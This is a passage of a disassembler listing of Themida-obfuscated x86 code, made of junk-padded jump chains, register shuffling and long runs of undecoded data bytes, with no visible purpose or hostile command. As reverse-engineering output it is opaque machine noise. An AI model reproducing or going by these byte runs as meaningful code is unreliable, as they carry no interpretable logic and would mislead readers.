575C2404h, 0FFBE13E9h db 0FFh ; --------------------------------------------------------------------------- loc_560889: ; CODE XREF: Themida_:00567AF7j pop eax pop dword ptr [esp] jmp loc_55D6B4 ; --------------------------------------------------------------------------- dw 48Bh dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 54242C89h dd 81242C8Bh, 4C4h, 1A456800h, 3C890000h, 31ECBF24h, 0EF8159EAh dd 7A0E1205h, 0F757DFF7h, 0EAE92414h, 0FFFFFFAFh, 0E9042474h dd 0FFFF8F32h ; --------------------------------------------------------------------------- loc_5608DC: ; CODE XREF: Themida_:00553E44j add edi, 15D62DABh xor edx, edi pop edi add ebp, edx pop edx jmp loc_55CDEF ; --------------------------------------------------------------------------- loc_5608ED: ; CODE XREF: Themida_:0055A8E4j pop ecx add esp, 4 sub esp, 4 mov [esp], edx push esp jmp loc_55E6AE ; --------------------------------------------------------------------------- dd 34FFE830h, 240C8B24h, 815D5455h, 4C5h, 0DFB95100h, 4105C55Dh dd 6711C981h, 0F1811A79h, 0E2A3C27h, 6E1C149h, 0F544BE56h dd 1FE975D0h, 5800004Ch, 6BA7BE56h, 0D6F74220h, 53EE814Eh dd 1BDDF94h, 0C0835EF0h, 24048704h, 0FF6D24E9h, 0A9C681FFh dd 5A11EF70h, 0E95EF009h, 0FFFF728Ch, 0E9240C8Bh, 0FFFFCB44h ; --------------------------------------------------------------------------- loc_560968: ; CODE XREF: Themida_:0056058Bj mov [esp], edx push 4FED1FA5h mov edx, [esp] add esp, 4 xchg esi, edx jmp loc_5562E1 ; --------------------------------------------------------------------------- loc_56097D: ; CODE XREF: Themida_:0055FB80j push esi jmp loc_562C75 ; --------------------------------------------------------------------------- db 0ACh dd 91E95266h, 81FFFF66h, 0B44DC9C2h, 875B5D3Eh, 0F7F787FAh dd 31F787D6h, 31D731FAh, 0E3BE56FAh, 161AF5Eh, 0E62D5EF2h dd 29239505h, 5E605D0h, 148B2395h, 43E95124h, 5B000015h dd 0F1E9A704h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5609C7: ; CODE XREF: Themida_:00556C07j add edx, edi pop edi shr edx, 5 jmp loc_561114 ; --------------------------------------------------------------------------- loc_5609D2: ; CODE XREF: Themida_:00567B7Fj push ebx mov ebx, 230535F9h xor ebp, ebx pop ebx push esi mov esi, 0FFFFFFFFh sub ebp, esi mov esi, [esp] jmp loc_567683 ; --------------------------------------------------------------------------- db 59h dd 4C181h, 64E90000h, 0BA00000Bh, 4, 24348B52h, 3C56E9h dd 0CAB35300h, 0FF8531E9h, 81D329FFh, 1B28D4EBh, 0FBEB8158h dd 0E9295318h, 0FFFF612Bh, 240C8B66h, 0FFF743E9h, 0B8504DFFh dd 37E647D1h, 0FF52EFE9h, 243C87FFh, 0E9EF045Ch, 2B6Ch ; --------------------------------------------------------------------------- loc_560A40: ; CODE XREF: Themida_:0055334Aj mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] jmp loc_55DB3B ; --------------------------------------------------------------------------- dd 405E089h, 83000000h, 48702C0h, 689DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560A72: ; CODE XREF: Themida_:0055F01Ej sub ecx, 4E248E2Fh xor eax, ecx jmp loc_554430 ; --------------------------------------------------------------------------- db 83h dd 0F1E904C4h, 81FFFF70h, 4C3h, 0C9E95300h, 89FFFFC0h dd 0E389241Ch, 8904EC83h, 54E9243Ch, 31FFFF8Ch, 0EBC15AD3h dd 56DBF705h, 0B54B85BEh, 0CBE4E948h, 1C31FFFFh, 241C3324h dd 2404895Ch, 0FFE08FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560AC5: ; CODE XREF: Themida_:0056728Dj mov edi, esp add edi, 4 add edi, 4 jmp loc_5653C5 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 3 dd 6E2AF281h, 0D101988Fh, 0FF43B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_560AE5: ; CODE XREF: Themida_:005620ACj add esp, 4 push 5EDDh jmp loc_558863 ; --------------------------------------------------------------------------- dw 6653h dd 664458BBh, 4766FB87h, 0E9FB8766h, 0FFFF8211h, 2C8BEE29h dd 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h, 7609h dd 87C4F581h, 0EF010F09h, 5D2434FFh, 0FF776EE9h, 4895CFFh dd 31B86624h, 0DB356606h, 0C6016633h, 0FFC009E9h, 4EC83FFh dd 0E9241489h, 0FFFF2638h ; --------------------------------------------------------------------------- loc_560B50: ; CODE XREF: Themida_:0055679Bj shr edi, 4 add edi, 6BC1160Dh sub edi, 5324DDF5h sub ebx, edi pop edi add ebx, edi jmp loc_55835D ; --------------------------------------------------------------------------- db 88h, 0D0h, 88h dd 148B58C5h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 0FD7AE95Ch, 14F6FFFFh, 509DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B8E: ; CODE XREF: Themida_:005590DFj pop edx sub esp, 4 mov [esp], ebx mov ebx, 60E94034h jmp loc_565F69 ; --------------------------------------------------------------------------- db 81h dd 847FDFE9h, 5068586Dh, 8900004Dh, 0FFE9240Ch, 66FFFFD4h dd 5524048Bh, 0FF27FBE9h, 3E3C1FFh, 39B2EB81h, 0C38115BBh dd 2D60B717h, 1338E9h, 5DC28100h, 5B65817Eh, 2E16E9h, 4C78100h dd 87000000h, 555C243Ch, 6AA0B951h, 0C98137AAh, 0E133972h dd 3EE9D9F7h, 34FFFF64h, 2C852C84h, 0F80EE9A4h, 8B66FFFFh dd 89512414h, 23F7E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_560C12: ; CODE XREF: Themida_:00555962j mov edx, 0DF86E6B0h add edx, esi jmp loc_566C19 ; --------------------------------------------------------------------------- dw 0F000h dd 7404572Ch, 148B5A04h, 7A0EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C2E: ; CODE XREF: Themida_:0055E867j mov edx, esp push ebp jmp loc_55ABC5 ; --------------------------------------------------------------------------- loc_560C36: ; CODE XREF: Themida_:0055DBEDj mov ebx, 4322302Eh push ebp mov ebp, 0D321E04h sub ebx, ebp jmp loc_565770 ; --------------------------------------------------------------------------- loc_560C48: ; CODE XREF: Themida_:0055E0EDj mov [esp], esp push ebp mov ebp, 4 sub esp, 4 jmp loc_563227 ; --------------------------------------------------------------------------- dd 64F4E951h, 0ACBD0000h, 0C1181748h, 0ED8104EDh, 0D6126F40h dd 9CE9EA09h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_560C77: ; CODE XREF: Themida_:00563DE3j xor edi, 26D66A88h add edi, 0D877918Dh mov esi, edi pop edi jmp loc_564FD7 ; --------------------------------------------------------------------------- aBx0abrPtBs1j db 'åÏ0BRºšpâ%Bé1j',0 db 0 ; --------------------------------------------------------------------------- loc_560C9D: ; CODE XREF: Themida_:0055B093j mov eax, 3F4202DFh jmp loc_562B53 ; --------------------------------------------------------------------------- loc_560CA7: ; CODE XREF: Themida_:00568B30j sub ebp, 55F75A4Ah push edi push ebx push 5BE70DE8h jmp loc_554A55 ; --------------------------------------------------------------------------- db 83h, 0C7h, 4 aZSP db '‡<$\é',7,'P',0 dd 2434FF00h, 0E9240C8Bh, 0FFFF5718h ; --------------------------------------------------------------------------- loc_560CD0: ; CODE XREF: Themida_:0055D121j mov edx, [esp] add esp, 4 add ebx, 0C64A8425h sub esp, 4 mov [esp], ebx add dword ptr [esp], 1E13074Bh jmp loc_567B45 ; --------------------------------------------------------------------------- loc_560CF1: ; CODE XREF: Themida_:005644CFj pop eax add eax, 4 jmp loc_557ABD ; --------------------------------------------------------------------------- loc_560CFC: ; CODE XREF: Themida_:0055861Dj dec esi shr esi, 8 or esi, 15FE7365h sub esi, 15FF7B6Bh add ebp, esi mov esi, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55C6D1 ; --------------------------------------------------------------------------- loc_560D23: ; CODE XREF: Themida_:00553FD9j mov ebx, 57E37825h sub ebx, 4FB53BE4h and ebx, 2A8D4E7Dh push esi mov esi, 49514052h or ebx, esi pop esi add ebx, 0E733FBFDh mov eax, ebx pop ebx not eax shr eax, 3 add eax, 0F5C58AA9h or edx, eax pop eax add edx, 0F00C0E45h add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 51665166h, 8AE901B1h, 89FFFF4Dh, 8B5E2414h, 0C4832414h dd 35E95204h, 81000003h, 42404h, 1C8B0000h, 8B545024h dd 54532404h, 5B2434FFh, 4C481h, 7DE90000h, 5700007Ah dd 0EC81E789h, 4, 0BB241C89h, 2702109h, 2976C381h, 0E3C15691h dd 0B9515003h, 71E16B1Bh, 79BAC981h, 69E95997h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560DCF: ; CODE XREF: Themida_:0055A576j mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5553E3 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 2EAC000h, 0C056B551h, 0E5C008E5h, 7EDC006h, 2DB75352h dd 1517E9h, 2424D200h, 226FE99Ch, 5EB4FFFFh, 4EC81h, 14890000h dd 1444E924h, 895C0000h, 2C87243Ch, 0E303E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560E52: ; CODE XREF: Themida_:00567B5Ej pop esp and eax, esi pop esi shr eax, 12h xor eax, ecx push 4B45h mov [esp], eax xchg ebx, [esp] not ebx push 6F73h jmp loc_559709 ; --------------------------------------------------------------------------- dw 0D8F7h dd offset dword_52C048+2A1h dd 3034B500h, 0E5C05BDDh, 7FF58007h, 2F236866h, 24148966h dd 0F50897B6h, 0E5805A66h, 0EFF58088h, 0E800E104h, 0C8BE12Ch dd 4C48324h, 0E9240C8Bh, 0FFFF66A5h, 9A0F4FB9h, 0F9E9813Fh dd 317F40A3h, 0FD0159CFh, 0ED81455Fh, 0C1A41D5h, 2FF3B951h dd 0C1810D0Dh, 4165906Ch, 0E959CD01h, 0FFFFA3FBh ; --------------------------------------------------------------------------- loc_560ED8: ; CODE XREF: Themida_:00561871j sub ebx, ebp jmp loc_562E8D ; --------------------------------------------------------------------------- db 81h dd 0DD2D11E9h, 0D9C5E947h, 0F780FFFFh, 0F6D78642h, 68D786D2h dd 2CA1h, 0B2241489h, 41CA8010h, 803FC280h, 0D700BEC2h dd 0BF3AE95Ah, 0EB81FFFFh, 13D1199Ch, 0C381FB01h, 13D1199Ch dd 51243C8Bh, 0C181E189h, 4, 8704C183h, 0E95C240Ch, 0FFFF2F91h ; --------------------------------------------------------------------------- loc_560F34: ; CODE XREF: Themida_:005680B6j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, 4 push eax mov eax, 0F6C6348h shr eax, 1 jmp loc_55E2EB ; --------------------------------------------------------------------------- dd 58B9515Fh, 2926EF7Dh, 0C72159C8h, 34EF8158h, 0E90C4A31h dd 0FFFFC6D9h ; --------------------------------------------------------------------------- loc_560F6C: ; CODE XREF: Themida_:00565A29j mov edx, [esp] add esp, 4 jmp loc_55F3A7 ; --------------------------------------------------------------------------- dw 2C89h dd 27C7BD24h, 0C5814F85h, 33B6D18h, 13C0E9h, 0E9F02900h dd 6EBEh, 79B55166h, 5966E828h, 241C8B66h, 0E9E08950h dd 0FFFF9683h ; --------------------------------------------------------------------------- loc_560FA8: ; CODE XREF: Themida_:00564412j add edx, 4 push 50E5h jmp loc_5539AF ; --------------------------------------------------------------------------- dd 0EB35366h, 0F5E93604h db 25h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560FC3: ; CODE XREF: Themida_:00564EDCj push 1E31h mov [esp], ecx mov edi, [esp] jmp loc_56136C ; --------------------------------------------------------------------------- db 21h dd 0EE8159CEh, 23D711D0h, 0D8254B05h, 2DF0010Dh, 0DD8254Bh dd 8BC6895Eh, 0C4832404h, 0BDBE5604h, 55261A17h, 0B671B1BDh dd 22ED8161h, 8108AF25h, 0C00210C5h, 724DE9AFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56100E: ; CODE XREF: Themida_:0055986Dj pop eax shr ecx, 0Bh push ecx mov ecx, esp jmp loc_5602FD ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0FF508FE9h, 52AD68FFh, 14890000h, 645D6824h, 148B6CD2h dd 4C48124h, 83000000h, 148904ECh, 240CFF24h, 81D2F75Ah dd 0C43A5DF2h, 6E2C107h, 368DAF7h, 89000017h, 89E9242Ch db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56105F: ; CODE XREF: Themida_:00554527j add edx, ebp mov ebp, [esp] add esp, 4 xor edx, [esp] jmp loc_5675BA ; --------------------------------------------------------------------------- db 81h dd 0E75DBF2h, 81E2D13Fh, 1F4F9EC2h, 8BD601B7h, 0C4812414h dd 4, 0C3E95B56h, 6600001Dh, 1D1DC781h, 86EF8166h, 0FE316662h dd 0C581665Fh, 0B0E919AEh db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5610A7: ; CODE XREF: Themida_:005689CAj add ebp, 4 jmp loc_55D8B0 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF5801h, 0D265C3BAh, 81EAD12Eh, 67371DF2h, 42D7E921h dd 0DE010000h, 15E2EE81h, 1C8B71A3h, 780BE924h, 248B0000h dd 24048924h, 8B2434FFh, 0C4832414h, 20E8E904h, 0EA80FFFFh dd 79F280FFh, 0FFF05DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5610F9: ; CODE XREF: Themida_:00561575j pop ecx push 4206h jmp loc_554E3D ; --------------------------------------------------------------------------- dd 2414895Ch, 24148B54h, 0E9E08950h, 0FFFF8169h ; --------------------------------------------------------------------------- loc_561114: ; CODE XREF: Themida_:005609CDj inc edx jmp loc_553FD6 ; --------------------------------------------------------------------------- dw 0AD66h dd 1CFA2D66h, 1F802D66h, 66D82966h, 661F8005h, 4FE6857h dd 29E90000h, 81000020h, 440B5AEFh, 5FFD293Fh, 0FFE14AE9h db 0FFh ; --------------------------------------------------------------------------- loc_561145: ; CODE XREF: Themida_:0055743Dj push edi mov edi, 2EF87B1Eh jmp loc_5562B5 ; --------------------------------------------------------------------------- dd 9268F181h, 0DAE91D88h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56115B: ; CODE XREF: Themida_:0055F129j sub esp, 4 mov [esp], ebp mov ebp, 14C1F8Ah push ebx mov ebx, ebp jmp loc_562864 ; --------------------------------------------------------------------------- dw 0B951h dd 3C297183h, 8159CB29h, 0B001C1EBh, 0AEB9513Ch, 81911C86h dd 7C21AFEBh, 0E9CB010Ch, 0FFFF6655h, 0F1E95756h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561197: ; CODE XREF: Themida_:0055C70Ej sub esp, 4 mov [esp], edx mov edx, 0D580368h xor edx, 20C580Bh jmp loc_568752 ; --------------------------------------------------------------------------- aSS_4 db '(ØéÖS',0 dw 8900h dd 0F968243Ch, 5F37B72Fh, 1121C781h, 0EFC13042h, 53504705h dd 473913BBh, 2E3C108h, 0C14BD3F7h, 0C38108EBh, 260E6ECh dd 0E95BD889h, 0FFFFA801h, 3E9C4B5h db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5611EF: ; CODE XREF: Themida_:0056624Ej push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push ebx jmp loc_565C0B ; --------------------------------------------------------------------------- dd 5C240C87h, 67D2C381h, 0C181DEBFh, 97F6F8Bh, 76E9D901h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561217: ; CODE XREF: Themida_:005541F3j sub ebx, 700C0375h pop edi push ecx mov ecx, 124D5DE7h neg ecx push edx mov edx, 79387FDFh sub edx, 74A80B26h jmp loc_5607C9 ; --------------------------------------------------------------------------- db 51h dd 0C580E5B5h, 17E58021h, 0FEDDE580h, 6EBCE9C5h, 5750FFFFh dd 0FFA3C8E9h, 0EC81ACFFh, 4, 0E9240C89h, 0FFFFFF88h, 9AEE181h dd 6856397Dh, 1E287841h, 0E1BE565Eh, 0F7587224h, 5E05E9DEh dd 6657FFFFh, 660662BFh, 0E781664Fh, 0F7666C2Ah, 0FE01E9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56128E: ; CODE XREF: Themida_:0055F272j mov ebp, 6106BD6h jmp loc_562101 ; --------------------------------------------------------------------------- dd 5E5305ADh, 5755427Fh, 845BAC68h, 0EE95F0Ch, 80FFFF7Fh dd 0F828C0C7h, 0E789575Bh, 4C781h, 0EF810000h, 4, 38F5E9h dd 4EA8300h, 5C241487h, 78ECE9h, 24248B00h, 0FF2BD7E9h dd 2434FFFFh, 78E4E9h db 0 ; --------------------------------------------------------------------------- loc_5612E1: ; CODE XREF: Themida_:00563E9Dj add ebx, 0EF93E0FBh jmp loc_5661A2 ; --------------------------------------------------------------------------- dd 0E4C099B4h, 0FEEC8004h, 0E958E188h, 0FFFF24E6h ; --------------------------------------------------------------------------- loc_5612FC: ; CODE XREF: Themida_:00558324j sub ebx, 0E6C7F582h and ebp, ebx pop ebx jmp loc_5531FE ; --------------------------------------------------------------------------- dw 9D61h dd 1D93E9C3h, 0E789FFFFh, 4C781h, 0E9510000h, 0FFFF90A5h dd 0C25009B8h, 7001E93Dh, 0F2B80000h, 2969530Ch, 58042444h dd 0F2C2815Ah, 8969530Ch, 24148BD5h, 0E904C483h, 0FFFF4690h dd 0C7766568h, 89E95A09h, 89000059h, 240C8BCAh, 38C9E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56135E: ; CODE XREF: Themida_:00557CF0j pop ebx jmp loc_55DEE3 ; --------------------------------------------------------------------------- dd 0E9EB295Fh, 0FFFFA86Eh ; --------------------------------------------------------------------------- loc_56136C: ; CODE XREF: Themida_:00560FCEj add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 7 sub esp, 4 jmp loc_5582DA ; --------------------------------------------------------------------------- loc_56139A: ; CODE XREF: Themida_:005563FFj pop ecx push eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], esi push 181Dh jmp loc_55D50F ; --------------------------------------------------------------------------- dw 83ACh dd 1C8904ECh, 55E38924h, 5F3B76BDh, 3629E924h, 1C310000h dd 241C3324h, 0F724248Bh, 195268E1h, 73E90000h, 8BFFFF4Dh dd 0C481241Ch, 4, 1CB7E959h, 0C583FFFFh, 7AED8101h, 2D4FC2C6h dd 5A785A2Ch, 2C05E829h, 8B5A785Ah, 0E956242Ch, 0FFFFE905h ; --------------------------------------------------------------------------- loc_56140C: ; CODE XREF: Themida_:0055E959j push eax mov eax, 16DB520Ah neg eax not eax add eax, 301D2234h xor eax, 8651F7h jmp loc_5555FA ; --------------------------------------------------------------------------- db 0B9h, 44h, 13h dd 0CB211837h, 0ECF38159h, 8125E449h, 63101AC3h, 0D889506Ch dd 0D1E9C289h, 83FFFF53h, 0F78101C7h, 41B41749h, 0FFAA70E9h db 0FFh ; --------------------------------------------------------------------------- loc_561451: ; CODE XREF: Themida_:0055CBEAj sub al, bh pop ebx push ecx mov cl, 4Dh push dx mov dh, 71h sub cl, 60h add cl, dh add cl, 60h mov dx, [esp] add esp, 2 push ebx mov bh, 0Fh xor cl, bh pop ebx add al, cl jmp loc_555E29 ; --------------------------------------------------------------------------- dw 0FA88h dd 0FF3CE0E9h, 4C685AFFh, 89000025h, 5BE9243Ch, 5CFFFFEEh dd 0F405D829h, 8B1FFB2Eh, 0C483241Ch, 7E1D6804h, 34890000h dd 6E35BE24h, 0EE811601h, 5470920h, 57E95452h, 59FFFF59h dd 28BD5558h, 45217557h, 3E91F581h, 0E831462Fh, 0E9C7215Dh dd 0FFFF855Ch, 83240C8Bh, 0F22904C4h, 5BC9E950h, 0E2890000h dd 4B850h, 83550000h, 6EE904ECh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614EF: ; CODE XREF: Themida_:00560151j add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], esi mov esi, 2B8D5A8Ah dec esi xor esi, 0F3CBF0F3h jmp loc_5568D5 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 0D104C483h, 89D5E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56151A: ; CODE XREF: Themida_:0055EA50j shr ebx, 7 dec ebx xor ebx, offset byte_548285 sub esp, 4 jmp loc_55DF9B ; --------------------------------------------------------------------------- loc_56152F: ; CODE XREF: Themida_:0055ABF7j mov ecx, [esp] add esp, 4 jmp loc_559CB1 ; --------------------------------------------------------------------------- loc_56153D: ; CODE XREF: Themida_:0055FDD6j push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp push ecx mov ecx, 3CAE5768h and ecx, 61384F0Dh jmp loc_55BBFE ; --------------------------------------------------------------------------- db 83h dd 0C3304E9h, 3573E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561566: ; CODE XREF: Themida_:005626B7j pop edi sub edx, 271E3ED1h sub edx, ecx add edx, 271E3ED1h jmp loc_5610F9 ; --------------------------------------------------------------------------- dw 0C683h dd 73E94E01h, 81000020h, 4C4h, 7C98100h, 8130237Bh, 1205B2E1h dd 0F1E9811Ah, 0E9CE70A9h, 0FFFF94BFh, 0E9240489h, 0FFFFF88Eh dd 8491F281h, 0D6319EA6h, 5524148Bh, 631BE9h, 243C8700h dd 3CE9565Ch, 0F7FFFFDCh, 5DC281D2h, 4A07486Ch, 0AABCC281h dd 0D5293BD4h, 8324148Bh, 8DE904C4h, 5FFFFA6h, 4, 0E9240433h dd 69B9h, 24048B66h, 7C0268h, 240C8900h, 0BB535954h, 3ED14BDCh dd 0F3E95251h, 81000012h, 0FC264CEAh, 4FE94250h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561613: ; CODE XREF: Themida_:0055B965j mov esi, 4C364C0Fh add ebx, esi pop esi jmp loc_567978 ; --------------------------------------------------------------------------- dd 4E8C148h, 0E3F2D40h, 0E95726A9h, 0FFFF38E9h, 4C18159h dd 56000000h, 0F3B9E952h, 875EFFFFh, 895C240Ch, 0E954243Ch dd 26A8h, 8012EE80h, 0CE801FC6h, 0FEDEF643h, 0A6E950C6h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56165F: ; CODE XREF: Themida_:00554FB5j add edi, 4 xchg edi, [esp] jmp loc_565002 ; --------------------------------------------------------------------------- dw 83ADh dd 0E900207Fh, 569Bh, 8102E9C1h, 6240EDE1h, 0ADC98137h dd 0F7087478h, 0B11EE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56168A: ; CODE XREF: Themida_:00566F0Bj sub edi, 0DA602555h sub ebp, 4C95E8Bh add ebp, edi add ebp, 4C95E8Bh pop edi xor ebp, 2132CFCh push ebx jmp loc_55A466 ; --------------------------------------------------------------------------- loc_5616AB: ; CODE XREF: Themida_:00553CBEj push 23C4h jmp loc_55B005 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 2E16BB53h, 0A2E9668Eh, 8100000Bh, 4ECh, 24248900h, 0FF7B9FE9h dd 24348BFFh, 5604C483h, 5378E9h, 39685500h, 5D518C48h dd 5A51E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5616EA: ; CODE XREF: Themida_:0055B9A5j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi push esi jmp loc_55CAD3 ; --------------------------------------------------------------------------- loc_5616FC: ; CODE XREF: Themida_:0055A7ACj add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5554A3 ; --------------------------------------------------------------------------- db 59h, 1, 0EEh dd 81242C8Bh, 4C4h, 74FF5600h, 8F5E0424h, 0E95C2404h, 5F20h dd 67696852h, 4890000h, 1CD26824h, 89585C1Bh, 24048BC2h dd 8104C483h, 0D82F03CAh, 0CCF28154h, 0E94C6F6Bh, 0FFFFFE58h dd 4BDh, 5DE82900h, 31240433h, 4332404h, 0F5E95C24h, 68000071h dd 420879A4h, 69F2815Ah, 0E928260Fh, 3F7h, 348BF531h, 4C48124h dd 81000000h, 6C0218C2h, 51EA2941h, 6C0218B9h, 0E9CA2941h dd 0FFFF7CC3h, 0E73EE4B9h, 82F8E93Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5617A2: ; CODE XREF: Themida_:0055D59Fj mov [esp], edi push 417225A7h pop edi jmp loc_554DD2 ; --------------------------------------------------------------------------- loc_5617B0: ; CODE XREF: Themida_:0055E601j mov [esp], edi jmp loc_55B6ED ; --------------------------------------------------------------------------- loc_5617B8: ; CODE XREF: Themida_:00565B43j sub esi, 34D073E8h jmp loc_563669 ; --------------------------------------------------------------------------- db 53h dd 0FB12DABBh, 0EACB816Dh, 0F7414C31h, 0AA77E9DBh, 0F180FFFFh dd 0FED1F6F0h, 0B0F180C1h, 0C8280004h, 0E959002Ch, 2F2Eh ; --------------------------------------------------------------------------- loc_5617EC: ; CODE XREF: Themida_:00554A79j pop dword ptr [esp] add dword ptr [esp], 4 pop ebp push esi push ebp push ecx mov ecx, 47CE4F8Ah inc ecx or ecx, 4E9D4290h jmp loc_5624EB ; --------------------------------------------------------------------------- db 0F7h dd 14C381DBh, 0D1431952h, 4AE381E3h, 0C14FD45Eh, 0EB8105EBh dd 5E02ECh, 7CE9DF01h db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56182B: ; CODE XREF: Themida_:005597E7j sub ecx, 51CD7843h jmp loc_55DB8A ; --------------------------------------------------------------------------- dw 15Bh dd 7CEE81EEh, 0E90ED769h, 0FFFF1A4Eh ; --------------------------------------------------------------------------- loc_561844: ; CODE XREF: Themida_:005540DFj add eax, 0BBEED5CDh xor ebx, eax pop eax dec ebx xor ebx, 778907FDh push edi jmp loc_555411 ; --------------------------------------------------------------------------- db 51h, 68h, 4Ah dd 54000006h, 0FFEA4FE9h db 0FFh ; --------------------------------------------------------------------------- loc_561865: ; CODE XREF: Themida_:0055F479j and ebp, 5310123Dh xor ebp, 7F5804CFh jmp loc_560ED8 ; --------------------------------------------------------------------------- dw 248Bh dd 2EAC124h, 4141BE56h, 0C68167A8h, 99C70DEDh, 15EF231h dd 24148BD5h, 0E9E28952h, 0FFFFC0C3h ; --------------------------------------------------------------------------- loc_561898: ; CODE XREF: Themida_:0055FBB4j sub edi, 126FCE1Dh jmp loc_5626FB ; --------------------------------------------------------------------------- db 29h dd 0F8E981D9h, 5B00252Bh, 6954A205h, 57C80167h, 5CC6E9h dd 0BD555D00h, 4, 875DEB29h, 895C241Ch, 2CE9241Ch, 81000016h dd 4E9h, 240C8700h, 2404895Ch, 0EC835854h, 242C8904h, 0FFAD97E9h db 0FFh ; --------------------------------------------------------------------------- loc_5618E9: ; CODE XREF: Themida_:00566F5Bj pop esp imul ecx, eax push ecx pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dd 8455E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5618FA: ; CODE XREF: Themida_:00564A7Ej pop ebp jmp loc_568852 ; --------------------------------------------------------------------------- dd 582434FFh, 504C483h, 4, 3304C083h, 4312404h, 489EE924h dd 0EDBDFFFFh, 21055F0Dh, 0BD555DE9h, 0D86454Fh, 505DE921h dd 60049B8h, 58C13105h, 0FF2A25E9h db 0FFh ; --------------------------------------------------------------------------- loc_561939: ; CODE XREF: Themida_:005588CBj dec ah not ah sub ah, 0BCh sub bl, ah pop eax add bl, 0E7h add bl, al sub bl, 0E7h push eax push ebx mov bl, 4Fh jmp loc_562F8B ; --------------------------------------------------------------------------- dd 7F2D68h, 1F68E900h, 0E3C10000h, 0AEB85007h, 83640C70h dd 65E901E8h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56196F: ; CODE XREF: Themida_:00561C76j sub esp, 4 jmp loc_565275 ; --------------------------------------------------------------------------- dw 8B5Bh dd 0BAE9240Ch, 8F000017h, 1AE94047h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56198B: ; CODE XREF: Themida_:0055589Ej xor edx, 4B0F6955h add eax, edx mov edx, [esp] add esp, 4 jmp loc_564635 ; --------------------------------------------------------------------------- dw 0E95Ah dd 0FFFF1761h, 51E8005Ah, 0FF8C2CE9h, 0BA525DFFh, 57327AC5h dd 853FC281h, 7FE9A8CDh, 8300004Ah, 0C3304C4h, 240C3124h dd 0E9240C33h, 0FFFFF70Ah, 4EC81h, 14890000h, 53E28924h dd 9568EBBBh, 3AE38133h, 0F76FCA48h, 0F5BE56D3h, 31501D21h dd 1D56E9F3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5619F6: ; CODE XREF: Themida_:0055BA60j pop ebx neg edi sub edi, 4A370C1Bh push ebx mov ebx, 447B61B4h sub edi, ebx jmp loc_560421 ; --------------------------------------------------------------------------- dd 1ECCBB53h, 0CE68417Fh, 0E9000048h, 21AAh, 757305B9h dd 81D9F72Ah, 0CC337AE9h, 59CD29FDh, 0E95DEB01h, 0FFFFD57Fh dd 0C781E789h, 4, 2BB53h, 0DF010000h, 0EFEBE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561A4A: ; CODE XREF: Themida_:00553E53j mov ecx, 295E276Dh shl ecx, 6 jmp loc_566FED ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 13E95824h, 0C1FFFF80h, 0C18104E1h, 61A91382h dd 109FC581h, 